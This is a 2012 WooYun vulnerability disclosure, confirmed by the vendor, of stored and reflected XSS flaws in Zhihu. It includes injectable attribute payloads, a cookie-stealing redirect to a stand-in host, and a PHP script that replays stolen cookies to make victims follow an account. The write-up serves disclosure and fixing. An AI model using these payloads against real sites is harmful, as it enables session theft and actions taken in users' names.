当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08538

漏洞标题:知乎存储型xss

相关厂商:知乎

漏洞作者: possible

提交时间:2012-06-20 12:14

修复时间:2012-08-04 12:15

公开时间:2012-08-04 12:15

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-20: 细节已通知厂商并且等待厂商处理中
2012-06-20: 厂商已经确认,细节仅向厂商公开
2012-06-30: 细节向核心白帽子及相关领域专家公开
2012-07-10: 细节向普通白帽子公开
2012-07-20: 细节向实习白帽子公开
2012-08-04: 细节向公众公开

简要描述:

知乎xss,可盗取用户cookie信息

详细说明:

知乎在编辑个人资料“一句话介绍”处,没有过滤双引号(过滤了<、>),导致span后内容可控,即形如<span 可控内容></span>,在啤酒@wooyun大神的指点下,终于想到在一句话介绍这里写入test" onmousemove="alert(/xss/) 只要其他用户浏览我的主页,并且鼠标点到介绍位置,就会触发代码执行,xss。
不知道怎样添加外部js,本来是打算这样
<span class="xmsw" title="dd" onmousemove=e=document.createElement('script');e.setAttribute('src','1.js');document.body.appendChild(e); id="test">test</span>
无奈,服务器端有长度限制。
最后还是盗取cookie吧,大家都懂,就不细说了,一句话中写入
x"onmouseout=window.location='http://test/test.php?c='+document.cookie//
最终结果:
<span class="xmsw" title="x"onmouseout=window.location='http://test/test.php?c='+document.cookie//"> x"onmouseout=window.location='…</span>
但是盗取cookie有什么用?写一个php证明一下,这个cookie可以做很多事:
<?php
function uc_fopen($url,$post = '', $cookie = '',$limit = 0, $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
$return = '';
$matches = parse_url($url);
!isset($matches['host']) && $matches['host'] = '';
!isset($matches['path']) && $matches['path'] = '';
!isset($matches['query']) && $matches['query'] = '';
!isset($matches['port']) && $matches['port'] = '';
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
if($post) {
$out = "POST $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
//$out .= "Referer: $boardurl\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .="Referer: http://www.zhihu.com/topic/%E7%94%B5%E5%BD%B1\r\n";
$out .= 'Content-Length: '.strlen($post)."\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cache-Control: no-cache\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
$out .= $post;
} else {
$out = "GET $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
//$out .= "Referer: $boardurl\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
if(!$fp) {
return '';//note $errstr : $errno \r\n
} else {
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if(!$status['timed_out']) {
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {
break;
}
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
}
@fclose($fp);
return $return;
}
}
$cookie = $_GET['c'];
echo $cookie;
$data ='type=people&id=28bb2b6ff09a5072198351434ab2efff&status=1';
$url='http://www.zhihu.com/follow';
echo uc_fopen($url,$data,$cookie);
?>
这个php主要实现添加对yolfilm账号的关注。当有人浏览我的个人资料,当鼠标移动触发xss,就会跳转到这个页面,进而使用php对yolfilm添加关注。 其他的就不演示了,只要找到操作的数据包,然后使用php脚本提交就可以实现。
而且,知乎所有提交输入的地方都没有验证码,导致可以自动提交,这个也给php脚本提交带来了便利....
另外附送两个反射xss:
http://www.zhihu.com/people/yolfilm/search?pq=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&type=all
http://www.zhihu.com/search?q=%22/%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

漏洞证明:


修复方案:

过滤" 编码输出

版权声明:转载请注明来源 possible@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-06-20 13:42

厂商回复:

非常感谢反馈, 已在修复 ..

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-20 12:28 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    支持你

  2. 2012-06-20 12:52 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @_Evil 谢谢 其实危害不是那么大的 主要长度限制没突破 呵呵忘记在上面感谢你了 在这里感谢吧 呵呵

  3. 2012-06-26 11:41 | 啤酒 ( 实习白帽子 | Rank:62 漏洞数:8 | 道不同.喝酒结盟)

    知乎的防xss 还是做的不错。

  4. 2012-06-26 13:04 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @啤酒 是呀 否则就不会提交个小问题 就送礼物了 呵呵